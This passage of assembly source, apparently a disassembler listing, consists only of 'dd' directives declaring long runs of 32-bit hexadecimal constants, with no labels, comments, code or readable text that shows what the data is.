		dd 0EC7C686Eh, 9DE5B3C8h, 80B9C980h, 7A5A59A9h,	0ECEDF700h
		dd 0F978612Dh, 9E1201DAh, 0D88E89FBh, 28CFCC76h, 3C1F48h
		dd 0CCB46E78h, 76D1D4Ch, 3880F14Fh, 57D2C0ECh, 647297F7h
		dd 783AAD4Ch, 0BFDDE500h, 0BC97B9Ch, 0D92F07D1h, 0FF42CF61h
		dd 105FC407h, 83B9D75Dh, 0C05C5E00h, 0A6EFB7FDh, 94AF004Bh
		dd 688892DCh, 0B9123069h, 2CC004EBh, 5671C4Ah, 199841CDh
		dd 9E148062h, 9000BBEEh, 0CC37DE3h, 1E2C686h, 0C9CA4DA1h
		dd 0CFCC3238h, 2A54B181h, 16C6DF0h, 0C498E9E2h,	605B8683h
		dd 0DF75A000h, 1A50437Ch, 3B13DE70h, 902A4BC9h,	0C0F8BC1Ch
		dd 37BBC783h, 0B49C0BE5h, 0A40E5F0Fh, 7891E11Ch, 98E3E8DDh
		dd 1D5C2C1h, 35D7254Fh,	809F8F7Eh, 0BFB28920h, 2AA13Ah
		dd 0AF23112Fh, 9F0449EAh, 74C7C5Ch, 0C555518Ch,	0C848F823h
		dd 77AC489h, 0E4D8849Dh, 662F934Bh, 100A70E7h, 0AD0247D5h
		dd 0A03E1CA7h, 8100C0D3h, 88F654DCh, 5063004Eh,	744B1D19h
		dd 5828963Ah, 8300F8EAh, 3BFD626Ch, 0B0AF3F69h,	7D09A00h
		dd 1EB9DB01h, 1820AF94h, 0E4D5B205h, 0C7614700h, 8C6F7D33h
		dd 0FACB0755h, 0E0DE9832h, 75F75EF5h, 0A9444716h, 7BD81B04h
		dd 0C684E0h, 951DD402h,	6E6B713Ch, 992CF27Bh, 0E283CC27h
		dd 0A419B69Fh, 780D90C0h, 35B8D0h, 7C85FF45h, 95AE982Eh
		dd 16070B0Eh, 0EE2BE068h, 0A830E62h, 58EF430Ah,	6B600B0h
		dd 2E80C745h, 57539D00h, 85C67112h, 44782Fh, 0E7BFAB0Eh
		dd 8AFD8F32h, 51729301h, 0CC9A18C0h, 42E0E421h,	97060BB0h
		dd 0E423FCF5h, 0CF885CDCh, 4D0096ABh, 2B2D2329h, 7D403Dh
		dd 66265E36h, 71D8529Eh, 4CD74200h, 0DEF96E95h,	0F87EF0D4h
		dd 0E67F0C3Fh, 5D11DDCBh, 0C5206160h, 6F04345h,	1B1F04DCh
		dd 0EAFE70E3h, 658CB30Bh, 204A8799h, 1512FB80h,	0E020C681h
		dd 66132998h, 9100AC93h, 0EA21ABEFh, 1C2E14F4h,	8C2024AEh
		dd 0E97F01EFh, 1170D0h,	7B6CFA0Ch, 0D407D549h, 0DA05AE00h
		dd 5C0378DBh, 59EA5815h, 0B5817305h, 1468C8CDh,	5E0E2FFCh
		dd 63FC23ACh, 0F3D45F9Eh, 16480179h, 0C61B077Dh, 94A98214h
		dd 4184AAA6h, 0C3302A48h, 0A8B300D0h, 41B1383Eh, 0DFFA56CBh
		dd 90D30700h, 79A96809h, 427A00A4h, 21D887A8h, 0B9001778h
		dd 0A3EE7B11h, 0D5330h,	39692C33h, 0A74BFB59h, 50120C00h
		dd 846542Dh, 0DDBE1D48h, 7B1A404Fh, 455A493Eh, 4DDB0F00h
		dd 0E1E8BCD3h, 8769002Ah, 37506E57h, 239FB6Dh, 2CC400DAh
		dd 1271FC80h, 607339BFh, 6A287D00h, 0AA763817h,	511F0501h
		dd 2FB0340Bh, 988468F0h, 823B0404h, 90838588h, 1D71B1C0h
		dd 3D3C53Fh, 0DC149874h, 0C845A24Bh, 685840h, 29B5D033h
		dd 6CA8AFBAh, 1C0BA70Ch, 0C09058B9h, 36D19449h,	6C01EFF6h
		dd 60587C7Fh, 0FAE86A29h, 0B1253B7Dh, 40961A99h, 0F0C8E48Ch
		dd 0BDC07154h, 8FF5C33Bh, 0E3B1217Fh, 0A3BFD8EBh, 5821005Eh
		dd 3A52F529h, 4300285Ah, 83313C3Bh, 60701C7Eh, 0C5D1680Fh
		dd 0F0E00899h, 0FDD6A401h, 377DA855h, 3B07CCh, 4CABFF9Fh
		dd 0DE3648F6h, 0A7D2CE00h, 3351D6EBh, 0B20001Dh, 0F8735515h
		dd 0D30023B6h, 0C21F9DA5h, 3FE3CF5h, 0A4091D25h, 698AD948h
		dd 0DD7F8B60h, 397ABC4Ch, 0F07580E4h, 0FB6F0253h, 0ADC901CBh
		dd 835E20BDh, 0C49271ACh, 0E700E4DDh, 0E21FB919h, 0EF7FF16h
		dd 10836DB0h, 49D2CBA0h, 0A45CC081h, 0F4670116h, 0C526A7EBh
		dd 167DDCh, 9FB7320Eh, 0F14C5699h, 503CF00h, 649AA89Ch
		dd 13CC0F54h, 128004F0h, 3C0FEADh, 0AF0024E2h, 0EB436AF6h
		dd 1B6064h, 0E91EF1D0h,	0F334FF7Dh, 0E5FEE81Eh,	0B13DAF82h
		dd 42ADE006h, 776A1FC2h, 0FF548C6Dh, 9F261E20h,	6C0065BBh
		dd 97A327F7h, 0AD3400B8h, 0CA30CD39h, 7E002803h, 0E90BC25Eh
		dd 0CF7D367h, 0E4A36033h, 3706E591h, 0EE7682CAh, 0EC91F0C0h
		dd 621F00C3h, 704D9715h, 4C30F82Fh, 0E0421CCh, 8C5A01C4h
		dd 27E956D4h, 0E0C86192h, 4B00F272h, 7639AE9Fh,	3F01CE94h
		dd 35B1E914h, 7022CFB0h, 650F0656h, 854EAC9Dh, 0A2C30EFCh
		dd 1092B170h, 3E32980h,	0C5B97460h, 0D81DCEDh, 6530E97Bh
		dd 0A3522048h, 34FC025Dh, 92449FC0h, 780002E3h,	62DE5FC2h
		dd 0E88F3Bh, 3FA3C4F7h,	0A97D5461h, 0F5D4F000h,	5B47B309h
		dd 575AC0F1h, 5DC2562Eh, 32EDEC00h, 0AFD776F9h,	7CF0705h
		dd 9031DB09h, 909A39D1h, 742D4D0Bh, 7ED600C0h, 0EE67D2Bh
		dd 35AF2834h, 0F02F240h, 9F1DF69Bh, 4A407506h, 0B2B9660Dh
		dd 41F8006Dh, 0C1C340A1h, 43182C25h, 0E77601E8h, 99E10046h
		dd 0D7293FB6h, 4400E40Fh, 0FD6BFCF3h, 0C55B42h,	83728295h
		dd 2A52C2E8h, 0A000DCF0h, 9197FF85h, 0FB11D4h, 23BDE97Dh
		dd 2F06CE98h, 7A5C3907h, 0F260BE07h, 1A6C9A4h, 1AEC05DEh
		dd 0E4E56AF4h, 0F500A316h
		dd 0EA55E2F1h, 0FF21932h, 0BB388422h, 0F4F3D7E1h, 0AAB680ADh
		dd 0AB67485Dh, 80DD60AFh, 7BFDB2E1h, 0F9BCF800h, 0E7792AB6h
		dd 44D13CF1h, 0B37C1380h, 0CF3FB083h, 0C1C2E503h, 0C53685Eh
		dd 0F68C75A9h, 5072018h, 3EE270D0h, 0CF6061B0h,	3074B87Ch
		dd 0BC50EC89h, 3A00C162h, 0B91415B2h, 16E96B86h, 0E2FB2Bh
		dd 0FC3176BBh, 6C00C2F8h, 44844889h, 0E46294ADh, 1C1A008Bh
		dd 0EB4C1EA0h, 0D00E5D9h, 96CFECA3h, 0EF3B9F6h,	5ACB81FBh
		dd 227D8E21h, 4079C9B7h, 0F75F0324h, 58C6F214h,	362600F3h
		dd 4B865C96h, 5314C07h,	806EC81Dh, 697589F5h, 79031C73h
		dd 0AA8B9199h, 343690EBh, 8E5600DEh, 0BB7FA1ADh, 8300F9E4h
		dd 5E1C4480h, 0E414B792h, 1D121FBAh, 60F1805Fh,	0B28AFE25h
		dd 0C4CD1B0Ch, 1A75918Fh, 69470462h, 83C92F81h,	0F9ADE856h
		dd 3E194C61h, 6503C237h, 680185C3h, 0ED26B8E1h,	6E20F7A5h
		dd 599E0604h, 0F8203AD3h, 163B331Fh, 0D78FEA83h, 3B083A3h
		dd 0F6921DA1h, 80974B43h, 5356F5D3h, 2BCFAF00h,	546EB394h
		dd 0FEED0005h, 845E13D9h, 4A3E14E5h, 6C721CF9h,	0C0817C4Ch
		dd 77B807D7h, 0C0D1DCCBh, 0AE7A64F1h, 949BF400h, 43579D37h
		dd 77F4B0h, 796CD0BAh, 0AAA5326Dh, 9930552Ch, 6E521201h
		dd 0DD009D3h, 8820CC7Ch, 0C70095EAh, 2DC8DBB0h,	67CB5CD9h
		dd 609C411Ah, 6F14AAF4h, 0D128E800h, 8656EC0Dh,	0E0101F9Bh
		dd 88E90F1Fh, 3269DA80h, 0D047905h, 0EB865B83h,	0E88E2480h
		dd 980A1FFCh, 20F5F9h, 6C5A5E2Ah, 1331D53h, 0C0CB3970h
		dd 7C734E4h, 0BEB8FEDh,	6295C06Dh, 0DA306C89h, 0FB4C41FFh
		dd 67200EEh, 0C6861C69h, 4200ADDCh, 0C8267C65h,	20848A8Eh
		dd 0C9DD3583h, 586E3B00h, 0C0639569h, 99A7D910h, 9CE8F0F7h
		dd 0D7F26D0Eh, 0D67186B3h, 0BFD3006Ah, 0F05AC999h, 454F783Ah
		dd 693106ACh, 0F014F451h, 381371E3h, 3600C83Dh,	6EA2C664h
		dd 0FF6A0599h, 48148B98h, 2FC2DD90h, 3470415Fh,	88809058h
		dd 5A004C28h, 7B136170h, 1A1E448Bh, 0D011A453h,	0CC4D8418h
		dd 468D9201h, 4CA885DBh, 0A938C4h, 5B9EF03Ch, 706705BFh
		dd 0FE11400h, 653E07CCh, 6B7AA3h, 0B07A6869h, 33145E01h
		dd 0E15A5000h, 0E7328CC7h, 0F264E231h, 0EC280FDFh, 6E20A35Dh
		dd 0F794DECEh, 0E61FF600h, 8F274941h, 0A68A0057h, 7E34F1EEh
		dd 3500E23Fh, 75928D5Bh, 0C2DCDh, 2B87FEC5h, 6F2F6E6Dh
		dd 0CCA0BC01h, 0FF590383h, 7097BA60h, 455503C9h, 3A8A4034h
		dd 0B5941598h, 0AC7A2100h, 0FF04073Fh, 0CDC33C74h, 6E8B72BEh
		dd 0D28BABA1h, 0C4B38E00h, 4B001252h, 0F8EC5C32h, 1371C1D1h
		dd 0FB657Dh, 47EA25Bh, 920025B8h, 0B5150D60h, 0E3E2066h
		dd 81782D4h, 0EF7D77E0h, 0EC0384B4h, 0F1949211h, 4F11009Ch
		dd 71D6B8DDh, 0D4194B77h, 0E108BE1Ch, 0DB2F2181h, 30C296B8h
		dd 163EE4FFh, 5841024Eh, 0B57D76EAh, 8E9628h, 496C1724h
		dd 0F818BAA4h, 7FD83BFDh, 0E1840E6Fh, 0BE8C14h,	968B7674h
		dd 9C139228h, 0A7E03A32h, 0E1640057h, 7E2D5B72h, 0FF732019h
		dd 771D8101h, 0C1010207h, 7226770h, 0DB117F58h,	0F6AA80BDh
		dd 0F40E3806h, 0C0048C82h, 761FF01Bh, 0CEEA00BEh, 0AFAA8851h
		dd 5073F2Dh, 0F2C2043Ch, 0E023BA91h, 92CC0F7h, 0EF7200B7h
		dd 6035475Bh, 241E15A5h, 6240957Fh, 0A0997743h,	340B006Ch
		dd 0E8A25E8Eh, 0B01C7EA1h, 0D180E0B2h, 456C9EE9h, 73B900E4h
		dd 983B4CF0h, 2200D95Bh, 3D52EBB5h, 1A9A12h, 0C2C66D9Dh
		dd 0AE917EAFh, 846BA34h, 78209E18h, 79D30098h, 134B4A7Ah
		dd 0DC00D0A1h, 0C8AF874Ch, 12CABF5h, 0C9629329h, 0DCC4D5C7h
		dd 4500965Ah, 6ADB0B3Dh, 1EF9BE36h, 0D915Bh, 0A9499038h
		dd 63CDDC1h, 8C5B14Fh, 20809811h, 3D42E89Bh, 0FE01CDEAh
		dd 698CD921h, 41804EA2h, 2E0E1F58h, 11D203E6h, 0C51B3C07h
		dd 4AEF4500h, 8CD6688h,	0C8022119h, 0A7BE22B3h,	3FD9C0AAh
		dd 0D2E50077h, 587AC3ACh, 0E0300B8Bh, 64FB6059h, 0F9230F47h
		dd 191671B5h, 81C80887h, 475C4121h, 0A730A083h,	61BEC66h
		dd 35020863h, 430AF834h, 78F37C36h, 8349DE81h, 70EEDCEh
		dd 25441785h, 16E33277h, 4D391D4Ch, 0EBA740B0h,	451D4190h
		dd 965E9700h, 7C0B5466h, 6882289Eh, 0D2E28Ch, 0DE10FAF3h
		dd 0E6C83621h, 82EC9F3Eh, 937B120h, 0A7D6407Eh,	7C5D01B6h
		dd 1E0508F1h, 0E060C232h, 741C5254h, 6440D943h,	7128B39Eh
		dd 0C365002Bh, 311AD96h, 50001742h, 9CE2CE20h, 0BECF48h
		dd 0D53E2332h, 29265EA9h, 435AB802h, 0E00FC7D3h, 3CFF3F5Dh
		dd 0E18EEE16h, 1240E5ADh, 0A5781433h, 0DE6D1A1Eh, 57048E80h
		dd 3AFC94Fh, 0EEBEBF20h, 0B8F9D129h, 184E6013h,	41CFF500h
		dd 4556EAF0h, 0F83B0E91h, 439FBF4Fh, 0AAD174B7h, 24EB8098h
		dd 3F487760h, 0F842040Eh, 502B6CE3h, 2200CD60h,	3FD3C7F8h
		dd 0F933D7h, 0D8FF48E4h, 0DA2A7451h, 0C425A501h, 0FE663A0Ch
		dd 0E06EA4C0h, 750200AFh, 0E954EA13h, 7F00BDCCh, 998D1817h
		dd 357215Dh, 953C2235h,	800074B1h, 0D2EF56E9h, 0FD89A1h
		dd 784D1E26h, 247AD62Fh, 0F5253Bh, 0E6064A34h, 33B539D8h
		dd 84D1AAA6h, 2498190Ch, 0FA9550B0h, 1D4C0047h,	0CAA7343h
		dd 66E4EB5Eh, 0AEE32100h, 8DB56D83h, 30BD6069h,	807F78CDh
		dd 99B01F06h, 493826h, 0B82DC0BBh, 0B4C356E7h, 0F00020DFh
		dd 86A0798Fh, 9D340051h, 0B1524543h, 6EF67C5Ch,	46479800h
		dd 936BC2A3h, 616CE241h, 0B1E338D6h, 7C80601Fh,	0A6907900h
		dd 7858BC3Eh, 33795Dh, 83A82E85h, 0E6CC4961h, 0B925F600h
		dd 39D99293h, 176617A5h, 57B2005Ch, 863516E2h, 3D9AB33Ch
		dd 3E0D0070h, 3963941h,	7C6B00D8h, 5A73B233h, 0CB00BC07h
		dd 9C42B345h, 0EDDDEE6h, 0AD92E22Fh, 0CE1DE440h, 0FEE6E384h
		dd 48059603h, 0B182EE91h, 0CF054CDh, 0F818C0F0h, 63FE61EBh
		dd 8D2A6403h, 0F80EB1E7h, 0ECEAC5D7h, 557E00BEh, 0E38843F3h
		dd 1601AAF8h, 0ED2DE011h, 8BD8A6CFh, 35AE00C7h,	9A270179h
		dd 0A800BB51h, 0B6BCF756h, 73BD2Dh, 0FFCDAE0Bh,	42DEB926h
		dd 46A74F00h, 0F0565E82h, 0FA5D0095h, 5C9CDB0Fh, 20480445h
		dd 1B6E0063h, 0B69D506Fh, 0F5B4001Dh, 0D2F65CECh, 0DB00BD2Fh
		dd 0AF360B76h, 0EB6F4EBh, 0DFBEC224h, 3D3E2980h, 0FAEE128Eh
		dd 5172F000h, 8F0B0FFBh, 9FEC00DCh, 4ED78BA7h, 601FCFAAh
		dd 39306AC8h, 926B4Ah, 96C2675Ch, 0EC6C5049h, 0E70161EEh
		dd 419FF82Ah, 50803783h, 99B65429h, 490027A2h, 0BD4425FEh
		dd 1C1A8232h, 80113ED4h, 0D2F938FBh, 4FF8BB23h,	18871E00h
		dd 72104D16h, 31E400FDh, 0C1BDCFD0h, 5A010E46h,	0E52C7C76h
		dd 3CD077F0h, 0F6910016h, 15FCC282h, 0F11D2DB1h, 7F00A23Eh
		dd 32163D4Fh, 20E71731h, 13710E3Bh, 7118FAACh, 5CD1FD1Ch
		dd 9ED98300h, 0BE73F5h,	560CCCD5h, 762F7113h, 68963E37h
		dd 40729250h, 1FA503C9h, 1E2DA042h, 2100FDA3h, 0B3751A6Bh
		dd 7F021B21h, 0B7F0A8h,	1F01EBD6h, 0A1992825h, 0C6784D60h
		dd 74DCDB6Eh, 4C10C03Ah, 708FEB3Fh, 6DC23B03h, 0A1C30462h
		dd 20803E49h, 84EB53DFh, 14396B64h, 9646832Eh, 10B45701h
		dd 3C2D58h, 0D9C9D51Fh,	0F28A5633h, 207C6063h, 0F5849890h
		dd 33C3748h, 0B31A4513h, 74A8A8C8h, 35FAA1h, 5448F263h
		dd 2D2C851Dh, 0FB9C9D00h
		dd 91277618h, 833A00CBh, 62BFC488h, 0BE002F2Eh,	6D576B4Eh
		dd 5833BCBBh, 98052CD5h, 0C04275D6h, 0F46EF651h, 35290D00h
		dd 77DFAF91h, 8DD30052h, 0BB7E0A63h, 0B00082D0h, 83233416h
		dd 0FFE24Eh, 73FE2A6Ah,	149F1E8Bh, 5C097F2Ch, 836B8039h
		dd 2E38258Ah, 0C038DC8Dh, 0F2A5E020h, 48C0FD9Fh, 0CCB5BB06h
		dd 10E0E935h, 2D04004Dh, 0CF7ABE47h, 0DD004379h, 746F29B7h
		dd 0A8C71Fh, 0CC6627E5h, 0C4137F5Ch, 8C10F301h,	0B2733D07h
		dd 909930h, 0BAE81F8Ah,	637AE206h, 9F683363h, 0B4DAC0E3h
		dd 0FF4E00C9h, 22BADF10h, 0F307EF4Dh, 6040B25Ah, 0E4B6B7D0h
		dd 3A5D00DDh, 46580906h, 867EFDEDh, 870E1301h, 0BF18D91h
		dd 78BB1BCCh, 1F22EE61h, 40ECF917h, 8B6BD138h, 3F00B9EDh
		dd 5D671D80h, 25157Fh, 3811DA09h, 2B69C5FEh, 8EDF4700h
		dd 188F743Eh, 96E5007Ch, 5BB19BAEh, 0A21D9588h,	9DFAE013h
		dd 9C7C1210h, 80BFCBDCh, 3454E2Dh, 4791C5h, 0A569C3EFh
		dd 926C7AF8h, 0E693C600h, 7DECEB30h, 0B857002Ch, 0AF3EC53Bh
		dd 8A018E35h, 94032070h, 0A2C882DCh, 456900C2h,	64995272h
		dd 833B2E24h, 6AF9AE6Ch, 931EDC00h, 0A5CD79h, 0EAD4220Fh
		dd 0E4B529B4h, 0D557AF07h, 0F6401B5Ch, 60DCDE68h, 6245E034h
		dd 0EF00EA6Bh, 0CA464C3Ah, 1DC73B22h, 23A22Ch, 0A5C2981h
		dd 0B20CD55Bh, 88647A71h, 54B4007Eh, 0A626C0D2h, 341C8A14h
		dd 0E8B01346h, 0E01507D6h, 7E5E1D61h, 0EEFECF0Ch, 8D80B28Fh
		dd 254622C2h, 587B7201h, 0DB345D53h, 538A3FCh, 7E3C1DE5h
		dd 5C5880D2h, 5E3A9FACh, 93B1009Ch, 8D6EC43Bh, 4EE007B3h
		dd 40BF57F3h, 0D6647744h, 0E8D9A30Ch, 39ED48D1h, 1314091Eh
		dd 1AC10CC2h, 0E4D3BB1Fh, 843D9BA2h, 0CAD480DBh, 0B87BB099h
		dd 0FE8300B2h, 22B33E68h, 0A500415Dh, 7CDE0119h, 4BFD0Ah
		dd 0ACE48135h, 0D338B9DDh, 68ECC300h, 56B649A8h, 0D83100C6h
		dd 8E08D52Ah, 0B00AA2Eh, 833BB9B5h, 5D80F5h, 0D9308711h
		dd 0C17E178Dh, 0EA6EE0E0h, 2AC80A8h, 0E59472Ah,	0A77AFFDh
		dd 657F4360h, 3200816Ch, 4E993952h, 6E36AE4h, 0F25A00Bh
		dd 0D91841DEh, 1E9BCF1h, 0D37C0175h, 5C5383B5h,	0C1188026h
		dd 7FB72E86h, 3472A9h, 5876A554h, 9F599D57h, 928D9B00h
		dd 5196BC84h, 0C20E005Dh, 0B6F585D0h, 90016815h, 94C98A2Ch
		dd 98D82023h, 78E0001h,	1545D153h, 0D40019E3h, 5E620DC8h
		dd 82F561h, 0C1FF4D3Ch,	0D816D23Ah, 932EB7E8h, 1D00A097h
		dd 486FE87Ch, 0BAEA2F2Eh, 40F36DEh, 5728B834h, 0AE893E3Eh
		dd 64A0CE00h, 6149D9F0h, 0AA291318h, 96B1170h, 18D46AE1h
		dd 0D0D8A883h, 3ACEA388h, 0F5D11E00h, 0B2EA86B5h, 72E200C2h
		dd 0B0E8F694h, 153D3AD6h, 78E9B04Dh, 383710Eh, 0A1BC1C87h
		dd 0B5A0BE6Bh, 62061499h, 0F37E86E4h, 32C8599h,	0B865982Ah
		dd 0F85BA836h, 4FAD0DF0h, 0F060E82Dh, 54135FFBh, 0B00199E7h
		dd 3EE93DB2h, 45B70880h, 89A9A778h, 0E4C0B018h,	5CA03A30h
		dd 0FB180DABh, 491E28D9h, 1101E97Fh, 154DF9ECh,	0BD49F05h
		dd 0B1390035h, 72511C68h, 0D30AC22Eh, 0B84BCE7Ah, 0DF59DE82h
		dd 1424A0EFh, 0ECB303h,	743A5386h, 0FD26EDD1h, 30B26330h
		dd 30D0347h, 76817C9Fh,	48001B78h, 60222FA4h, 6CBF54h
		dd 924C8AD5h, 20EF52E2h, 3AB32700h, 0C9AB64B0h,	78EC48h
		dd 6C03887Eh, 6D461842h, 0BC764E00h, 0E85B9E9Ah, 7F3A5CA1h
		dd 70724400h, 982140C2h, 79914503h, 9068BB85h, 1EA8A657h
		dd 836FF167h, 0AB41C9AAh, 0C8D2EEC0h, 0EA62BE00h, 12F33FA8h
		dd 0AD8A01FCh, 66632381h, 0D0D720A7h, 0EE036A00h, 0CD05D4CFh
		dd 897B7Eh, 8EDDDE2h, 0D7BBF542h, 1AABA300h, 0B8333E40h
		dd 0FC0737Dh, 0FD896332h, 70A62FC3h, 9C8A5D88h,	0E6AA3307h
		dd 0C4701F29h, 158505Ch, 564EF1E3h, 0F6C59FA6h,	5BC3ECC0h
		dd 7F6771Dh, 5700D29Fh,	1098A753h, 0B4362484h, 867B806Ch
		dd 96D3352Dh, 0C9B5F31Eh, 0FE3CA500h, 18A0BE4h,	0E047C2D9h
		dd 30640E22h, 8500A421h, 611C715h, 95CAA92h, 4AA0FCEFh
		dd 72823C20h, 30ECCBCh,	4035A1A7h, 0BFF7CD8h, 7D6C1F68h
		dd 3F5E85h, 52CEBC8Eh, 0CF00D17Bh, 1F54CB49h, 0F919A7h
		dd 24BE512Fh, 7A5E6C60h, 0CD0E8800h, 1478387Ch,	9719128Fh
		dd 0D8C500FBh, 1B170710h, 1D26AC38h, 53C00C03h,	27BC4995h
		dd 0CF2301C7h, 6899207Bh, 0DEAC20B6h, 0B7004D78h, 7829DDF0h
		dd 0B06450CEh, 3C580F46h, 40FE8811h, 4E048902h,	0AD3CA9ABh
		dd 0DE1D0073h, 0B42F6AF3h, 267700BEh, 72886E1Eh, 47008D76h
		dd 51744536h, 2D6865h, 0E721D4E9h, 0F4B42CA3h, 1C705A03h
		dd 0A8F3BB0Ch, 0E165D30h, 0C97584B0h, 43B5D780h, 0F4003AE7h
		dd 2CD9F39Bh, 0B01089CFh, 0C94E00D1h, 0EBEAB6A3h, 28FCBB7Bh
		dd 1EAC9107h, 4C91E3F9h, 0FFEC4BF4h, 0D85100AEh, 3F3CDC6Bh
		dd 6100432Ah, 0CC4D2973h, 3D2E2339h, 0A8BC194h,	0C3810360h
		dd 0F01C3F46h, 2D00D6D8h, 0F529BD1Fh, 73301Dh, 36CF1352h
		dd 548E669h, 9B7ED900h,	97DAAF5Ah, 0E9B905BBh, 0C0B8D64Ch
		dd 0D57FA8E9h, 0C8AAD800h, 442569E1h, 0BBDB01ACh, 715FB555h
		dd 0A4EE0EFh, 5D4D6200h, 0DCD01F6Eh, 0EE7C0074h, 6CDFCF60h
		dd 1C70530Dh, 2AEAD277h, 0D8879B00h, 0F204982Dh, 0ACB2009Ch
		dd 84A15E8h, 0DB005135h, 0B6D770D5h, 0D2805Bh, 0B10EAC1Fh
		dd 0C46F6345h, 33ECD5B0h, 18C85218h, 0D15910h, 2906C63Ch
		dd 728D0405h, 7FB8205Eh, 17EE0075h, 198609B6h, 0F6E6BC74h
		dd 5793EF00h, 88DBABCBh, 0F02D4F3Bh, 0D20F5CE7h, 40A7A909h
		dd 2786F208h, 0FCC400C1h, 40BB4723h, 0B3FA4C95h, 85DB4E02h
		dd 80444172h, 81DAD24Ch, 65F500C6h, 84E5DE4Eh, 3D007109h
		dd 0A78634Ch, 532B82h, 0C4EA57C9h, 1B70A745h, 4E0E4200h
		dd 7F8A8426h, 3A9202F3h, 2BD8ECBAh, 9E1AF060h, 52DF5800h
		dd 0E17AD403h, 6A8E0064h, 8390C888h, 0FD1C4C9Fh, 4EC04774h
		dd 0DA846EF5h, 75A700C2h, 0CFF0A159h, 0F60366D8h, 485F880Bh
		dd 5CC0CDDEh, 4A021Ch, 63C4B103h, 920A3037h, 0A5320609h
		dd 0ED8D80AFh, 75FD1E2h, 0B4E1612Ch, 58200F94h,	6429AEFh
		dd 84F7C03h, 739E8D5h, 4B7A70C9h, 0FC8A3Ah, 0A5F9EBADh
		dd 0F03E8789h, 16E100BBh, 0B877CAB7h, 4A6200CFh, 0ED14F895h
		dd 74398FA3h, 11C01D3h,	0D60FC7DDh, 78F32BC4h, 73E390FAh
		dd 1B7A2498h, 3CFEE138h, 27818018h, 0E4E223F0h,	0F8103E5h
		dd 15AD03C9h, 0F67AB0A8h, 0CC5C4149h, 2E04CDh, 5761A763h
		dd 0B8172508h, 0D15A3100h, 0A4C45F21h, 133B2642h, 0BBA63836h
		dd 580038AEh, 0CB52A854h, 3E00569Ch, 7A92C824h,	908459Fh
		dd 0A5CBEF7h, 51A38020h, 0E6793D78h, 0F93BD109h, 93800B3h
		dd 18459606h, 4039FA07h, 44421A76h, 0E7593087h,	7F6CA0EFh
		dd 0D718DFADh, 0F1518177h, 264E07Eh, 0C4E0E1CBh, 3080DB0Dh
		dd 0CE2DC316h, 8014AE7Eh, 80D40C8Fh, 0AC73D8B8h, 0BC9A005Dh
		dd 0F7D8372h, 3E0082A8h, 6D56C8E4h, 0E3AD34h, 0E588EADDh
		dd 0CB479340h, 0F01CBB03h, 0A861ECBDh, 73384Fh,	0E458173Fh
		dd 0B20B9D4Bh, 22CB1500h, 0DCA57E9Bh, 5D6800D8h, 0F2039972h
		dd 1B002D8Dh, 0B4B2F9FBh, 0ECFA31h, 9454E5E9h, 0FD205636h
		dd 0E01E920Fh, 128CA0A6h, 50F93ED1h, 0F2BDBCh, 5513FC30h
		dd 428FE6CAh, 0A2032998h
		dd 0F6690288h, 0B93BA063h, 4088DD29h, 0B1062AB6h, 8624EB2Fh
		dd 0E404584Eh, 9E4040BFh, 6FD732CDh, 7E571001h,	0D32DF151h
		dd 0C0C2E0h, 0AE1DAB4Ch, 72224667h, 6DC3C600h, 301FECE3h
		dd 0BCFA00C1h, 31F7E1EEh, 99785DF6h, 4A64B100h,	0D4825712h
		dd 0CA360EA5h, 7580C0C7h, 0D6D034BEh, 5E3DF616h, 0BF80391Ch
		dd 26486118h, 672100AFh, 568CDE6Ch, 4D7D93CAh, 0FC0F477Fh
		dd 44AB85h, 0B570FF7Dh,	0CD77077Eh, 0DAF31434h,	0E1018FECh
		dd 55836E40h, 130E03FFh, 763C939Ah, 0A220FC00h,	48F18D74h
		dd 0C113DC41h, 20642D97h, 66003CB0h, 62544EF5h,	17BC2E5h
		dd 9BAE77E0h, 20A5CEF0h, 9C3B2177h, 6A3F01h, 4812DCE7h
		dd 0CFE3AAh, 8B237B25h,	327A811Eh, 0B163A600h, 0DFDD3753h
		dd 65B900A7h, 610EC96Ah, 8C00397Eh, 393E02Dh, 7BD0819h
		dd 17D48AD0h, 97E7207Ah, 430E9A67h, 6047B8AEh, 516F960Bh
		dd 60DD01CBh, 534D983Eh, 2263C071h, 37CAEC00h, 2172FF6h
		dd 5F6107F7h, 204CE8FFh, 0CB7326ADh, 0C42BE900h, 252A6D09h
		dd 0EF3000D0h, 359E29ABh, 7002D12h, 76A9CA66h, 5CCC59h
		dd 2E4D0B5Eh, 514B0E6Fh, 6BFFEC00h, 9855D1F5h, 0A08F0039h
		dd 0A80B477Eh, 0CF008DC8h, 0EA08F020h, 7E85679Dh, 63F80459h
		dd 834FCA44h, 0DD1B32h,	0ACBD7FAAh, 6B3089A6h, 0F20FD406h
		dd 0F61C00DFh, 0B444F408h, 7B0CEAF7h, 4037BD6Ch, 99D00FF5h
		dd 1C274C89h, 822C4075h, 0D400FFE9h, 65976C53h,	7664404h
		dd 0DF01B479h, 6E0EE10h, 17B729F9h, 3BCFED00h, 688980B1h
		dd 771D7FA5h, 0B8210ED1h, 0C80D6E0h, 5F5EA752h,	0F19EBB00h
		dd 0C44FFFFCh, 0E8BD3A20h, 9688A180h, 2324173h,	6F00B7E6h
		dd 0C812C475h, 1400464h, 0EA1C3C98h, 0D809318Dh, 0F5FAE555h
		dd 1B5A5807h, 1EA0B287h, 73247A1h, 761C2B7Fh, 0ACB45065h
		dd 0F107487Ah, 0F2B2C47Dh, 6A7E04E9h, 0D9733490h, 5D70A5h
		dd 0C7342540h, 0C5DCDBE3h, 0DE7BD807h, 98912313h, 0D8511AE4h
		dd 44E86BBEh, 0B7E202BCh, 83ABDE9Ch, 316A9880h,	0A057A8A7h
		dd 1AAA11C0h, 0D280E043h, 0F57A87F1h, 6B0BA81Eh, 2B182198h
		dd 29FA037Fh, 0B77C0A8Bh, 46EF7598h, 5A00E0E0h,	53EDCC04h
		dd 92490803h, 4E760058h, 0E9690A06h, 7E00ECFCh,	207D0ED9h
		dd 1DABF088h, 0C7A9BDF1h, 304307D4h, 0BA1E391Ah, 8A9E7A00h
		dd 9F6338D3h, 3BF2E5h, 0B4D648BFh, 0F2ED266Dh, 98C36100h
		dd 0DEEEAE64h, 849F00CBh, 3CD8EB1h, 0C90F19BBh,	8117A813h
		dd 0DD3AB0A6h, 9BF8E4h,	0BA479571h, 6C150BB8h, 0FD00E17Eh
		dd 0D502AE8h, 0C4B7B27h, 1C3F0716h, 0F007ABDCh,	2CF4E2E1h
		dd 3F87CCD5h, 0ED48F690h, 52E08Fh, 1ABF7C64h, 77EB132Dh
		dd 0F0D0C050h, 3FE22F00h, 8216A8B3h, 4C99031Ch,	58EEA7D3h
